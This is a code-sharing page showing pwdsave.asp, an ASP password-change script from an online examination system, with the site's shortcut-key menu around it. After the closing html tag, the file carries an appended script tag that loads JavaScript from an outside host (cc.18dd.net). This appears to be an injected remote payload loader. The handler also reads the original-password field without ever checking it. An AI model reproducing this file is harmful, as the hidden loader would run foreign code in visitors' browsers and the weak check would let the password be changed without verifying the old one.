pwdsave.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 35 行

ASP

35 行

<!--#include file="isAdmin.asp"-->
<html>
<head>
<title>用户管理</title>
</head>
<body>
<%
  OriPwd = Request.Form("OriPwd")
  Pwd = Request.Form("Pwd")
  '设置SQL语句，判断是否存在此用户
  Set usr = New EUsers
  usr.UserName = trim(Session("UserName")) 
  usr.UserPwd = trim(Session("UserPwd"))  
  If usr.HaveUser(1)=0 Then
	Response.Write "不存在此用户名或密码错误！"
%>
	<Script Language="JavaScript">	
      setTimeout("history.go(-1)",1600);	  	  
  	</Script>
<%
  Else
    usr.UserPwd = Pwd
    usr.UpdatePassword()
    response.write "<h2>更改密码成功！</h2>"
    Session("UserPwd") = Trim(Pwd)
%>
    <Script Language="JavaScript">
      setTimeout("window.close()",1600);	
    </Script>
<%
  End If	   
%>	
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

pwdsave.asp

pwdsave.asp - 源码说明

⌨️ 快捷键说明